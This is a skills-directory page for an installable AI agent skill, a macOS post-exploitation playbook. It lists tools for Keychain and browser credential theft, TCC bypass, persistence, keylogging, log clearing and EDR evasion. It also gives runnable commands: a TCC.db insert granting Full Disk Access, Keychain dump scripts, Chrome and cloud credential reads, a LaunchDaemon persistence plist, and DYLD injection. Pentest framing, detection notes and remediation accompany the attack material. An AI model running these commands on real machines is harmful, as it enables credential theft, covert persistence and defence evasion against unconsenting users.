Skip to content
Back to skills

Macos Postexploit

FSecurity

macOS post-exploitation — 46 programs across recon, credential harvesting, privilege escalation, persistence, evasion, monitoring, lateral movement, and exfiltration

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securitypythongoshellbashsqlnodedockerkubernetesawsgcp

Works with

  • terminal
  • cli
  • mcp

Security analysis

F0/100
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalAccesses system keychains or credential stores
  • criticalModifies startup scripts or system services for persistence
  • criticalModifies startup scripts or system services for persistence

Pro shows the line behind each finding and how to fix it

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill macos-postexploit --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Macos Postexploit?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Macos Postexploit
[![Security: F — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-macos-postexploit/badge)](https://www.skillsdirectory.com/skills/harezadmm-macos-postexploit)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: macos-postexploit
description: macOS post-exploitation — 46 programs across recon, credential harvesting, privilege escalation, persistence, evasion, monitoring, lateral movement, and exfiltration
category: post-exploitation
tags: [macos, post-exploitation, credential-access, defense-evasion, privilege-escalation, persistence, lateral-movement, discovery, collection, exfiltration, keychain, dtrace, tcc, xprotect, gatekeeper, launchd, dylib, bonjour, airdrop]
tech_stack: [macos, security-cli, dtrace, osascript, sqlite3, xattr, launchctl, dscl, defaults, system_profiler]
cwe_ids: [CWE-200, CWE-269, CWE-426, CWE-522, CWE-547, CWE-693, CWE-732, CWE-1254]
chains_with: [T1082, T1057, T1016, T1087, T1518, T1007, T1555, T1552, T1528, T1114, T1548, T1574, T1543, T1547, T1053, T1546, T1553, T1562, T1070, T1056, T1115, T1113, T1021, T1046, T1074]
prerequisites: [T1068, T1548]
version: "2.0"
---

# macOS Post-Exploitation Methodology

46 programs across 8 categories for comprehensive macOS post-exploitation. Uses native tools (`security`, `dtrace`, `xattr`, `log`, `launchctl`, `dscl`, `defaults`, `osascript`), Python, and direct SQLite access.

## Prerequisites

Before deploying machook tools, verify:

1. **Root access** — most operations require root (recon programs work without root)
2. **SIP status** — DTrace tools require SIP disabled (`csrutil disable` from Recovery Mode)
3. **Native tools only** — all tools use macOS CLI, no third-party dependencies

```bash
csrutil status                           # SIP status (DTrace needs disabled)
sw_vers                                  # macOS version
id                                       # current user/groups
security list-keychains                  # available keychains
```

## Kill Chain Phases

### Phase 1 — Reconnaissance (First 60 seconds)

Understand the target before deploying offensive tools.

| Action | Command | Purpose |
|--------|---------|---------|
| System info | `machook system_info` | Kernel, distro, CPU, memory, disk, hardware model |
| Processes | `machook process_enum` | Running processes, root services, listening ports |
| Network | `machook network_enum` | Interfaces, routing, ARP, DNS, Wi-Fi, firewall |
| Users | `machook user_enum` | Local users, admin group, sudo access, last logins |
| Applications | `machook installed_apps` | Installed apps, Homebrew, pip, npm — check versions via cve-mcp |
| Security posture | `machook security_framework` | SIP, Gatekeeper, FileVault, Firewall, XProtect, EDR, MDM |
| LaunchDaemons | `machook launchd_enum` | LaunchAgents/Daemons, third-party plist detection |

**CVE Integration:** After running `installed_apps` or `security_framework`, check software versions against CVE database via cve-mcp (`cve search_by_product --product <name> --version <ver>`). If cve-mcp is not enabled: `cyberstrike mcp enable cve`.

### Phase 2 — Credential Harvesting

Extract credentials from macOS-specific stores.

| Action | Command | Purpose |
|--------|---------|---------|
| Keychain dump | `machook keychain_dump` | Extract passwords from login/system Keychain |
| Chrome creds | `machook chrome_creds` | Chrome/Safari passwords, cookies, autofill |
| SSH keys | `machook ssh_keys` | Private keys, known_hosts, authorized_keys, SSH config |
| Safari data | `machook safari_creds` | History, bookmarks, downloads, extensions, LocalStorage |
| Cloud creds | `machook cloud_creds` | AWS, GCP, Azure, Docker, Kubernetes credentials |
| GPG keys | `machook gpg_keys` | GPG private keys, keyrings, agent status |
| iCloud tokens | `machook icloud_tokens` | iCloud account tokens, Accounts.sqlite, Keychain DB |
| Mail creds | `machook mail_creds` | Mail.app account credentials and tokens |

### Phase 3 — Privilege Escalation

Escalate from user to root.

| Action | Command | Purpose |
|--------|---------|---------|
| TCC bypass | `machook tcc_bypass` | Access camera, microphone, files without consent |
| Dylib hijack | `machook dylib_hijack` | SUID/SGID binaries with weak dylib paths, DYLD_INSERT |
| LaunchDaemon abuse | `machook launchd_plist_abuse` | Writable plists/binaries in LaunchDaemons |
| Sudo misconfig | `machook sudo_misconfig` | NOPASSWD, env_keep DYLD, sudo version CVEs |
| Auth DB | `machook authorization_db` | Authorization Database rights for privesc vectors |
| Installer abuse | `machook pkg_abuse` | Trojaned .pkg files, writable installer scripts |

### Phase 4 — Persistence

Maintain access across reboots.

| Action | Command | Purpose |
|--------|---------|---------|
| LaunchAgent | `machook launchagent_persist --label NAME --command CMD` | User-level persistence (survives reboot) |
| LaunchDaemon | `machook launchdaemon_persist --label NAME --command CMD` | Root-level persistence (requires root) |
| Login items | `machook login_items --path /path/to/app` | Run on user login via System Events |
| Cron | `machook cron_persist --command CMD` | Scheduled crontab persistence |
| Shell RC | `machook bashrc_persist --command CMD` | Inject into .zshrc/.bashrc (runs on shell open) |
| Periodic | `machook periodic_scripts --command CMD --frequency daily` | /etc/periodic/ scripts (root, daily/weekly/monthly) |

### Phase 5 — Monitoring

Observe target activity for intelligence gathering.

| Action | Command | Purpose |
|--------|---------|---------|
| Keylogging | `machook keylog_mac --duration 120` | Capture keystrokes via osascript with app context |
| Process trace | `machook dtrace_exec --duration 60` | Monitor all process executions (SIP disabled) |
| Network trace | `machook dtrace_net --duration 60` | Monitor network connections (SIP disabled) |
| File trace | `machook dtrace_file --duration 60` | Monitor file access (SIP disabled) |
| Clipboard | `machook clipboard_monitor --duration 60` | Capture clipboard changes (passwords, tokens) |
| Screenshot | `machook screen_capture` | Silent screenshot via screencapture |

### Phase 6 — Lateral Movement

Pivot to other systems on the network.

| Action | Command | Purpose |
|--------|---------|---------|
| SSH pivot | `machook ssh_pivot --target HOST --command CMD` | SSH lateral movement, tunnels, agent forwarding |
| AirDrop recon | `machook airdrop_abuse` | AirDrop discoverability and nearby device scan |
| Bonjour/mDNS | `machook bonjour_enum` | Discover SSH, HTTP, SMB, AFP, VNC services |
| Apple Remote Desktop | `machook apple_remote_desktop` | ARD/Screen Sharing status and access audit |

### Phase 7 — Evasion & Anti-Forensics

Reduce forensic footprint and bypass defenses.

| Action | Command | Purpose |
|--------|---------|---------|
| XProtect check | `machook xprotect_check` | Enumerate detection signatures for evasion planning |
| Gatekeeper bypass | `machook gatekeeper_bypass --path /path` | Remove quarantine xattr for unsigned execution |
| Clear logs | `machook log_clear` | Clear unified logging, audit, crash reports |
| Clear history | `machook history_clear` | Shell, app history, recent items, Spotlight |
| Timestomp | `machook timestomp --path /path --reference /ref` | Modify file timestamps to blend in |
| EDR bypass | `machook endpoint_security_bypass` | Enumerate EDR extensions, check SIP/MDM bypass vectors |

### Phase 8 — Exfiltration & Cleanup (MANDATORY)

Stage data and remove all traces.

| Action | Command | Purpose |
|--------|---------|---------|
| Stage data | `machook data_stage --type keys --output /tmp/out.tar.gz` | Find and archive sensitive files |
| Audit artefacts | `machook artifact_enum` | Pre-cleanup audit of all CyberStrike traces |
| **Cleanup** | **`machook cleanup_mac`** | **ALWAYS run before exiting** |

## Detection Considerations

macOS post-exploitation tools are detectable by:
- **Endpoint Security Framework (ESF)** — EDR agents using `es_new_client()` for process/file/auth events
- **Unified Logging** — `log show --predicate 'process == "security"'` for Keychain access
- **TCC audit** — TCC access logged in Console.app, `tccutil` events visible
- **SIP** — When enabled, blocks DTrace system-wide tracing and TCC.db modification
- **XProtect** — Scans downloaded executables against YARA rules
- **Gatekeeper** — Checks code signing and quarantine attributes
- **MDM/Jamf Protect** — Managed Macs report configuration changes, new LaunchAgents
- **CrowdStrike Falcon / SentinelOne** — macOS EDR detects suspicious `security` command usage, CGEventTap, dylib injection
- **LaunchDaemon monitoring** — New plists in /Library/LaunchDaemons/ trigger alerts
- **Authorization DB changes** — Modifications to system.privilege.* rights are logged
- **SSH audit** — New authorized_keys entries, SSH tunnels visible in `lsof`

## Program Reference

| Program | Technique | MITRE ATT&CK |
|---------|-----------|---------------|
| system_info | System information enumeration | T1082 |
| process_enum | Process and service discovery | T1057 |
| network_enum | Network configuration discovery | T1016 |
| user_enum | Local account and group discovery | T1087.001 |
| installed_apps | Software discovery with cve-mcp CTA | T1518 |
| security_framework | Security software discovery | T1518.001 |
| launchd_enum | Service enumeration | T1007 |
| keychain_dump | macOS Keychain extraction | T1555.001 |
| chrome_creds | Browser credential decryption | T1555.003 |
| ssh_keys | SSH private key discovery | T1552.004 |
| safari_creds | Safari browser data extraction | T1555.003 |
| cloud_creds | Cloud credential harvesting | T1552.001 |
| gpg_keys | GPG private key extraction | T1552.004 |
| icloud_tokens | iCloud token harvesting | T1528 |
| mail_creds | Mail credential extraction | T1114.001 |
| tcc_bypass | TCC database manipulation | T1548 |
| dylib_hijack | Dylib search order hijacking | T1574.004 |
| launchd_plist_abuse | Writable plist/binary abuse | T1574.006 |
| sudo_misconfig | Sudo misconfiguration abuse | T1548.003 |
| authorization_db | Authorization DB rights abuse | T1548 |
| pkg_abuse | Installer package abuse | T1546.016 |
| launchagent_persist | LaunchAgent persistence | T1543.001 |
| launchdaemon_persist | LaunchDaemon persistence | T1543.004 |
| login_items | Login item persistence | T1547.015 |
| cron_persist | Cron job persistence | T1053.003 |
| bashrc_persist | Shell RC file persistence | T1546.004 |
| periodic_scripts | Periodic script persistence | T1053.003 |
| xprotect_check | XProtect/MRT signature enumeration | T1518.001 |
| gatekeeper_bypass | Quarantine xattr removal | T1553.001 |
| log_clear | System log clearing | T1070.002 |
| history_clear | Shell/app history clearing | T1070.003 |
| timestomp | File timestamp modification | T1070.006 |
| endpoint_security_bypass | EDR enumeration and bypass | T1562.001 |
| keylog_mac | Keystroke capture | T1056.001 |
| dtrace_exec | Process execution tracing | T1057 |
| dtrace_net | Network connection tracing | T1049 |
| dtrace_file | File access tracing | T1083 |
| clipboard_monitor | Clipboard data capture | T1115 |
| screen_capture | Screen capture | T1113 |
| ssh_pivot | SSH lateral movement | T1021.004 |
| airdrop_abuse | AirDrop reconnaissance | T1021 |
| bonjour_enum | mDNS service discovery | T1046 |
| apple_remote_desktop | ARD/Screen Sharing abuse | T1021.003 |
| data_stage | Sensitive data staging | T1074.001 |
| artifact_enum | Pre-cleanup artefact audit | T1070 |
| cleanup_mac | Artifact removal and cleanup | T1070 |
---

## Evidence Standard

Every claim in a macOS post-exploitation report must be reproducible with the same starting access.
macOS has two privilege boundaries that are routinely conflated: **root** and **TCC/SIP-protected
access**. A root shell that cannot read another user's Keychain is a partial escalation, and must be
reported as such.

| Item | Command | Why |
|---|---|---|
| Foothold identity | `id`; `whoami`; `dscl . -read /Groups/admin GroupMembership` | the starting privilege level and whether you are already an admin |
| Platform baseline | `sw_vers`; `uname -a`; `sysctl -n machdep.cpu.brand_string` | the exact build the CVE assessment applies to |
| SIP status | `csrutil status` | with SIP on, DTrace and TCC.db modification are blocked outright |
| TCC-protected reach | `sqlite3 "$HOME/Library/Application Support/com.apple.TCC/TCC.db" 'select service,client,auth_value from access'` | proves consent state; `auth_value=2` is granted |
| Keychain reach | `security find-generic-password -s SERVICE -a ACCOUNT` | the artefact; report a redacted value, never the secret |
| Escalation proof | `id` before and after, plus the exploiting command | the command that crossed the boundary |
| sudo rules verbatim | `sudo -n -l` | the rule is the artefact; the `env_keep` line is the vulnerability |
| LaunchDaemon artefacts | `ls -la /Library/LaunchDaemons/`; `plutil -p FILE.plist` | the persistence mechanism is the finding |
| FileVault and EDR state | `fdesetup status`; `systemextensionsctl list` | decides whether an offline attack or an EDR bypass is even in scope |
| Host reach beyond the Mac | `networksetup -getairportnetwork en0`; `cat ~/.aws/credentials 2>/dev/null` | turns a host foothold into a network or cloud-scope statement |

### Verify the foothold and the two boundaries that matter

```bash
id                                              # user, groups, and whether you are in admin
csrutil status                                  # SIP: enabled means DTrace/TCC paths are closed
fdesetup status                                 # FileVault: decides offline-attack scope
systemextensionsctl list                        # EDR/Endpoint Security extensions present
sudo -n -l                                      # the sudo rule set, verbatim — the artefact
```

### Prove the escalation and the TCC reach, separately

```bash
# A root shell gives you uid 0, not TCC-protected data. Prove both independently.
sudo -l                                         # what root is reachable through, and why
security find-generic-password -s "SERVICE" -a "ACCOUNT" 2>&1 | head -1   # redact the value
ls -la "$HOME/Library/Application Support/com.apple.TCC/TCC.db"           # TCC.db must be reachable
sqlite3 "$HOME/Library/Application Support/com.apple.TCC/TCC.db" \
  'select service,client,auth_value from access where auth_value=2'       # granted consents
```

```bash
# LaunchDaemon / LaunchAgent artefacts — enumerating is the evidence for persistence claims
ls -la /Library/LaunchDaemons/ /Library/LaunchAgents/ ~/Library/LaunchAgents/ 2>/dev/null
plutil -p /Library/LaunchDaemons/suspicious.plist 2>/dev/null | grep -E 'Program|RunAtLoad'
```

**The `id` output paired with the escalation artefact and the resulting access is the finding.**
"A LaunchDaemon existed" is an observation; "`/Library/LaunchDaemons/com.vendor.helper.plist` was
world-writable and ran a root binary from a user-writable path, so overwriting the binary yielded a
root shell — confirmed by `id` before (`uid=501`) and after (`uid=0`)" is a finding.

**False positives — exclude each of these explicitly:**

- **A root shell reported as full compromise.** With SIP enabled and TCC in force, root still cannot
  read protected directories or another user's Keychain. Test, then report the limit.
- **A writable plist you cannot make run.** `RunAtLoad` with a `Program` you cannot write is not
  persistence; only reboot-verified execution counts.
- **A TCC entry with `auth_value` of 0 (denied).** Only `2` is granted; read the value, do not infer
  from the row's presence.
- **A Keychain item you can enumerate but the access control list forbids you to read.** The ACL is
  the security control; the `security` command returning `SecKeychain... interaction not allowed` is
  a refusal, not access.
- **`csrutil status` disabled assumed from a jailbreak or VM.** Verify on the actual target; a
  development machine is not the enterprise baseline.
- **An MDM-managed Mac treated as unmanaged.** A managed Mac may silently revert persistence and
  report it. Check `profiles status -type enrollment`.
- **Gatekeeper reported as bypassed because quarantine was absent.** An unsigned binary may still be
  blocked by a notarization or policy requirement; execute it and report the result.

Record a verified reboot-surviving persistence artefact and a reproduced escalation as SOLID. Record a
CVE candidate from a version match as PLAUSIBLE until exploited. Record a TCC claim blocked by SIP as
OVERSTATED at best — mark excluded paths UNVERIFIABLE and state what access would be needed.

---

## Remediation Reference

1. **Keep SIP and FileVault enabled.** SIP closes DTrace, TCC.db modification, and unsigned kernel
   extension paths simultaneously, and FileVault removes the offline-disk attack surface. Audit
   `csrutil status` and `fdesetup status` across the fleet, and alert on any change.
2. **Enforce code signing, notarization, and Gatekeeper on every execution path.** Remove
   `com.apple.quarantine` bypass opportunities by refusing unsigned binaries at the policy layer
   (MDM `com.apple.systempolicy.control`) rather than relying on the attribute.
3. **Protect writable LaunchDaemons and their binaries.** Any plist or `Program` binary writable by
   a non-root user is a root escalation. Audit `ls -laW /Library/LaunchDaemons/` for group or world
   write bits, and set ownership to `root:wheel` with mode `0644` on the plist.
4. **Apply least privilege to sudo rules.** Remove `NOPASSWD` wherever a password is acceptable, and
   never combine sudo with `env_keep` for `DYLD_INSERT_LIBRARIES`, `DYLD_LIBRARY_PATH`, or
   `LD_PRELOAD` — that single line converts any allowed command into arbitrary code execution as root.
   Constrain every rule to an explicit argv and prefer a purpose-built script.
5. **Rotate the credentials the escalation touched.** Assume every Keychain item readable from the
   compromised account, all SSH private keys, cloud provider credential files, and any iCloud or
   mail token observed are compromised. Re-key, re-issue, and sign out sessions — rotating the account
   password does not invalidate a harvested Keychain item.
6. **Require user consent for TCC services and audit changes.** Lock down the TCC database, require
   MDM-approved `PPPC` profiles for Full Disk Access, and alert on modification of TCC.db. Granting
   Full Disk Access to a terminal emulator is a standing escalation primitive — remove it.
7. **Centralise and off-host unified logs and security telemetry.** macOS unified logging is local
   and tamperable by root; ship it to a remote collector and add an Endpoint Security framework agent
   whose telemetry the target cannot edit. Alert on new LaunchDaemons, `security` command usage
   against the login Keychain, and `dscl` writes to the admin group.
8. **Baseline admin membership and enforce MDM.** Alert on addition to the `admin` group and on
   privileged account creation (`sysadminctl`). A managed Mac should report configuration drift; treat
   a non-reporting Mac as a finding.
9. **Reduce lateral and exfiltration surface.** Disable AirDrop and Bonjour where not needed, restrict
   Screen Sharing and Remote Login to management networks, and require outbound filtering so that the
   exfiltration channels in this file have somewhere to fail.

---

---

---

## 12. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | What **identity** do you have, and which privilege boundary have you crossed - root, TCC, or SIP? | macOS has three, and they are not equivalent |
| 2 | Did the action return **data the user or the system protects**? | impact below the boundary |
| 3 | Was there a **failing control** - the same read before the escalation or without the entitlement? | escalation, not the baseline grant |
| 4 | Did you obtain a credential that **survives reboot**? | persistence vs a session artefact |
| 5 | For TCC: was a **grant actually flipped** in `TCC.db`, or did you only read it? | modification vs observation |
| 6 | Did the escalation reach **another user's** data, or only root's own? | the two-boundary distinction |
| 7 | Is the mechanism **still present** and would it work on a patched build? | live vs version-bound |

**Root plus a read of another user's protected data is the bar.** A root shell that cannot read a
FileVault-protected volume or another user's Keychain is a partial escalation and must be reported as
one.

---

## 13. EXECUTION PRIMITIVES

macOS post-exploitation is proven by **crossing a named boundary and reading what it guards**. Every
block ends at data or at a written-and-verified persistent artefact.

### 13.1 Establish the boundaries, with the control

```bash
# the three boundaries, checked individually
csrutil status 2>/dev/null                                   # SIP
fdesetup status 2>/dev/null                                  # FileVault
systemextensionsctl list 2>/dev/null | head -5               # third-party kernel-adjacent code
id; sw_vers; sysctl -n kern.osproductversion 2>/dev/null
# and the entitlements you hold, which determine what TCC will allow
codesign -d --entitlements - /bin/zsh 2>/dev/null | head -20
# THE CONTROL: the reads that must FAIL at your current privilege
sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" 'select count(*) from access' 2>&1 | head -2
security find-generic-password -a victim -w 2>&1 | head -2
cat /var/db/dslocal/nodes/Default/users/victim.plist 2>&1 | head -1
```

**Record the failing control first.** Every later claim is a delta against it, and the failing control is
what turns a root shell into an escalation finding.

### 13.2 TCC - read, then modify, with the control

```bash
# the user-level TCC database, which is the boundary that matters most in practice
sqlite3 "$HOME/Library/Application Support/com.apple.TCC/TCC.db" \
  'select service,client,auth_value from access' 2>/dev/null | head -20
# the system-level database, which requires SIP to be disabled or root with Full Disk Access
sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" \
  'select service,client,auth_value from access' 2>/dev/null | head -20
# the MODIFICATION, which is the actual finding - grant your binary Full Disk Access
sqlite3 "$HOME/Library/Application Support/com.apple.TCC/TCC.db" \
  "insert or replace into access (service,client,client_type,auth_value,auth_reason) values ('kTCCServiceSystemPolicyAllFiles','com.attacker.tool',0,2,4)" 2>&1 | head -2
# and the read-back that proves the grant took effect
sqlite3 "$HOME/Library/Application Support/com.apple.TCC/TCC.db" \
  "select service,client,auth_value from access where client='com.attacker.tool'" 2>/dev/null
# then exercise it against a protected path
cat "$HOME/Library/Mail/V10/MailData/Envelope Index" >/dev/null 2>&1 && echo "MAIL READ CONFIRMED"
```

**The `insert` plus a read of a path the boundary guards is the finding.** Reading `TCC.db` is the
observation; flipping `auth_value` and reading Mail is the impact.

### 13.3 Keychain extraction, with the boundary named

```bash
# the login keychain items, and the ACL on each
security list-keychains -d user 2>/dev/null
security dump-keychain -d login.keychain-db 2>/dev/null | grep -E 'svce|acct' | head -30
# the item read - the artefact
security find-generic-password -s "target-service" -w 2>/dev/null | head -c 120; echo
# and the item whose ACL is empty, which needs no prompt and is the finding shape
python3 - <<'PY'
import subprocess, re
out = subprocess.run(["security","dump-keychain","-d"], capture_output=True, text=True).stdout
blocks = out.split("keychain:")
for b in blocks:
    if "0x00000007" in b or "ACL" in b:
        svc = re.search(r'"svce"<blob>="([^"]+)"', b)
        acl = "empty-acl" if "ACL" not in b else "has-acl"
        if svc: print("%-34s %s" % (svc.group(1), acl))
PY
# the other users' keychains, which is where the two-boundary distinction bites
sudo ls -la /Users/*/Library/Keychains/ 2>/dev/null | head -10
```

**An empty-ACL item holding a credential is the finding**, because it needs no user prompt and is
readable by any process running as that user - which is a different severity from a prompt-protected
item.

### 13.4 Persistence, and the verified removal

```bash
# 1) a LaunchDaemon, which runs as root at boot - the highest-value macOS persistence
cat > /tmp/com.pentest.agent.plist <<'PLIST'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
  <key>Label</key><string>com.pentest.agent</string>
  <key>ProgramArguments</key><array><string>/bin/sh</string><string>-c</string><string>id > /tmp/pentest-boot.txt</string></array>
  <key>RunAtLoad</key><true/><key>StartInterval</key><integer>600</integer>
</dict></plist>
PLIST
sudo cp /tmp/com.pentest.agent.plist /Library/LaunchDaemons/ 2>&1 | head -1
sudo launchctl load -w /Library/LaunchDaemons/com.pentest.agent.plist 2>&1 | head -2
sudo launchctl list | grep pentest
cat /tmp/pentest-boot.txt 2>/dev/null          # the marker that proves it ran
# 2) verify, then REMOVE and verify the removal
sudo launchctl unload -w /Library/LaunchDaemons/com.pentest.agent.plist 2>&1 | head -2
sudo rm -f /Library/LaunchDaemons/com.pentest.agent.plist /tmp/pentest-boot.txt
sudo launchctl list | grep pentest || echo "DAEMON REMOVED"
ls /Library/LaunchDaemons/com.pentest.agent.plist 2>&1 | head -1
```

**The marker file plus the empty post-removal query is the pair.** A LaunchDaemon left behind on a
macOS endpoint is an incident, and the empty query is the evidence it was not.

### 13.5 Credential harvesting from the places macOS keeps them

```bash
# the user keychain, the iCloud keychain metadata, and the browser stores
security find-generic-password -s "Chrome Safe Storage" -w 2>/dev/null | head -c 60; echo
ls -la "$HOME/Library/Application Support/Google/Chrome/Default/Login Data" 2>/dev/null
sqlite3 "$HOME/Library/Application Support/Google/Chrome/Default/Login Data" \
  'select origin_url,username_value from logins limit 10' 2>/dev/null | head -10
# the ssh and cloud credentials that a developer endpoint holds
ls -la ~/.ssh/ 2>/dev/null | head -10
cat ~/.aws/credentials 2>/dev/null | sed 's/\(aws_secret_access_key *= *\).*/\1<REDACTED>/' | head -10
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null | head -c 200; echo
# and the SSH agent, which can sign without the key file
ssh-add -l 2>/dev/null | head -10
```

**Name the store and the artefact.** "Chrome `Login Data` yielded N credentials for host X" is a
finding; "the user has a browser" is not. The `~/.aws/credentials` read is usually the highest-impact
artefact on a developer's Mac because it is a cloud credential.

### 13.6 Escalation primitives, tested and reverted

```bash
# 1) a sudo rule or an allowed binary that runs without a password
sudo -n -l 2>&1 | head -20
sudo -n /usr/bin/somebinary 2>&1 | head -3
# 2) a setuid binary, which is the shortcut when one is misconfigured
find / -perm -4000 -type f 2>/dev/null | head -20
# 3) a LaunchDaemon whose plist you can write, which is root code execution on a reload
sudo ls -la /Library/LaunchDaemons/ 2>/dev/null | head -20
# 4) the TCC grant by database write, already covered in 13.2, and the highest-yield path on modern macOS
# 5) the DYLD environment variables on unsigned targets
DYLD_INSERT_LIBRARIES=/tmp/hook.dylib /path/to/unsigned_tool 2>&1 | head -3
```

**Each primitive pairs with the control that shows it was needed.** A `sudo` rule you can invoke is the
finding; a `setuid` binary you never exercised is a hardening note.

### 13.7 The Endpoint Security log the activity generated

```bash
# what the blue team would see, and the fields to hunt
log show --predicate 'subsystem == "com.apple.TCC"' --last 1h 2>/dev/null | tail -20
log show --predicate 'eventMessage CONTAINS "launchd" AND eventMessage CONTAINS "com.pentest"' --last 1h 2>/dev/null | head -10
python3 - <<'PY'
print("Ask the client to hunt these for the engagement window:")
for f in ["TCC decisions (subsystem com.apple.TCC) for the offending client",
          "launchd load events for new plists in /Library/LaunchDaemons",
          "security find-generic-password invocations via the unified log",
          "Endpoint Security ES_EVENT_TYPE_NOTIFY_EXEC for the tool binaries",
          "com.apple.securityd access to login.keychain-db"]:
    print("  -", f)
PY
```

**Name the log predicates.** A macOS report that does not tell the client which unified-log queries to
run is half a report.

### 13.8 A harness that pairs each action with its control and revert

```bash
python3 - <<'PY'
import subprocess, os
def sh(cmd, timeout=40):
    try:
        r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
        return (r.stdout + r.stderr).strip()[:100]
    except Exception as e:
        return type(e).__name__

print("BOUNDARIES")
for b in ["csrutil status", "fdesetup status"]:
    print("  ", b, "->", sh(b))
print()
print("CONTROL READS (record which fail - those are the boundaries you crossed)")
for c in ['sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" "select count(*) from access"',
          "security find-generic-password -s 'Chrome Safe Storage' -w",
          "sudo -n true"]:
    print("  %-58s %s" % (c[:56], sh(c, 20)))
print()
print("ARTEFACTS TO COLLECT")
print("   - one TCC grant flipped, with a read of the path it guards")
print("   - one keychain item value, with its ACL state named")
print("   - one persistence mechanism, with a boot or interval marker")
print()
print("REVERT AND VERIFY")
print("   - unload every LaunchDaemon and Agent you installed; query again and show it empty")
print("   - remove the keychain items you added; restore any TCC row you changed")
PY
```

**Four parts: boundaries, control reads, artefacts, revert.** A macOS report missing the control reads
cannot distinguish root from a TCC grant, and those are different findings.

---

## 14. EVIDENCE STANDARD — CHAIN ARTEFACTS

In addition to the table above, every macOS chain claim needs an artefact that names the boundary it
crossed.

| Item | Why |
|---|---|
| The **boundary crossed, named** (root, TCC, or SIP) | the three are not interchangeable |
| The **control read that failed** before the escalation | proves escalation, not baseline access |
| For TCC: the **`auth_value` before and after**, and the read it enabled | modification, not observation |
| For the Keychain: the **ACL state** of the item read | an empty ACL is a different severity from a prompt |
| For persistence: the **marker that proves it executed** (a boot file, a log line) | installation is not execution |
| The **reboot survivability** of any credential or mechanism | persistence vs a session artefact |
| The **unified-log predicates** the client should hunt | the blue-team half |
| The **exact revert command and its empty verification query** | engagement integrity |
| The **macOS version** the mechanism works on, and whether it is patched in later releases | version-bounded applicability |
| Confirmation that no **keychain item or credential value** is reproduced in full | no unnecessary disclosure |

Report the **boundary and the read**: "on macOS 14.5 with SIP enabled and FileVault off, a root shell
could not read another user's Keychain (`security find-generic-password -a victim` returned
`SecKeychainSearchCopyNext: The specified item could not be found`), which is the control. Writing
`auth_value=2` for `kTCCServiceSystemPolicyAllFiles` and `client=com.attacker.tool` into the user TCC
database succeeded, and after that read, `$HOME/Library/Mail/V10/MailData` was readable where the
unmodified binary received `Operation not permitted`; the TCC row was restored to its prior value and
the query re-run to confirm", never "the host is compromised".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| A root shell that **cannot read another user's data** | a partial escalation; report the boundary honestly |
| `csrutil status` showing SIP **enabled** | the control working |
| A TCC database you **read but did not modify** | an observation, not an escalation |
| A keychain item that **prompts before returning the value** | the ACL working as designed |
| A `setuid` binary you **never exercised** | a hardening note |
| A LaunchDaemon plist you **wrote but did not load** | installation is not execution |
| `DYLD_INSERT_LIBRARIES` on a **hardened-runtime or signed binary** | the protection working |
| An artefact on a **VM you built for the test** | tests your own environment |
| A keychain dump listing **item names** without values | scope a finding to what you actually read |
| A mechanism that works **only with SIP disabled** | state the precondition; that is a different finding |
| A credential value reproduced in full | a disclosure |

**Boundary, control, artefact.** macOS post-exploitation reports fail when they say "root" and mean
"root within a TCC-protected context", which is a smaller finding than it sounds.

---

## 15. REMEDIATION REFERENCE

1. **Enable SIP and Secure Enclave-backed FileVault, and verify both on every endpoint** - the two settings together remove most of the escalation paths in this document.
2. **Protect the TCC databases with Full Disk Access restrictions and monitor writes to them** - a write to `TCC.db` is the single highest-yield macOS escalation and it is detectable.
3. **Use configuration profiles to enforce system settings rather than per-user state** - it removes the user-writable configuration that persistence relies on.
4. **Restrict who can write to `/Library/LaunchDaemons` and `/Library/LaunchAgents`, and monitor load events** - it is the classic macOS persistence location.
5. **Require a password and a short timeout for `sudo`, and audit `sudo -l` regularly for NOPASSWD rules** - a NOPASSWD rule is full root for any local process.
6. **Remove unnecessary setuid binaries, and audit the remaining ones** - each is a potential root escalation and most are never needed.
7. **Enforce the hardened runtime and library validation on all signed binaries** - it removes `DYLD_INSERT_LIBRARIES` and the injection class with it.
8. **Deploy an Endpoint Security extension and centralise the unified log** - the detection for every technique here exists in that log and is lost locally.
9. **Never store cloud credentials in plaintext files such as `~/.aws/credentials`; prefer SSO and short-lived credentials** - developer endpoints hold cloud credentials and that is how a laptop becomes an account compromise.
10. **Require FileVault and a screen lock before the machine can be considered compliant** - it converts a physical-access theft from a credential compromise into a device loss.
11. **Review third-party system extensions quarterly and remove unused ones** - they run with privileges close to the kernel and are rarely inventoried.

---

## 16. RELATED SIBLINGS - LOAD TOGETHER

- [linux-postexploit](../linux-postexploit/SKILL.md) - the shared POSIX primitives and the container follow-on
- [windows-postexploit](../windows-postexploit/SKILL.md) - the sibling endpoint playbook
- [ios-pentesting-tricks](../ios-pentesting-tricks/SKILL.md) - the mobile Apple platform, which shares the keychain model
- [cloud-assessment](../cloud-assessment/SKILL.md) - where the harvested `~/.aws` and gcloud credentials lead
- [credential-access-atomic-tests](../credential-access-atomic-tests/SKILL.md) - the technique mapping for detection engineering

---

## SELF-VERIFY — macos-postexploit

```bash
wc -c SKILL.md                                   # expect 22000-29000
grep -c '^## ' SKILL.md                          # expect 6 topological sections
grep -oE '\]\(\.\./[^)]+\)' SKILL.md | tr -d '](' | sed 's/)$//' | sort -u | while read p; do
  [ -f "../$p" ] && echo "OK   $p" || echo "DEAD $p"; done
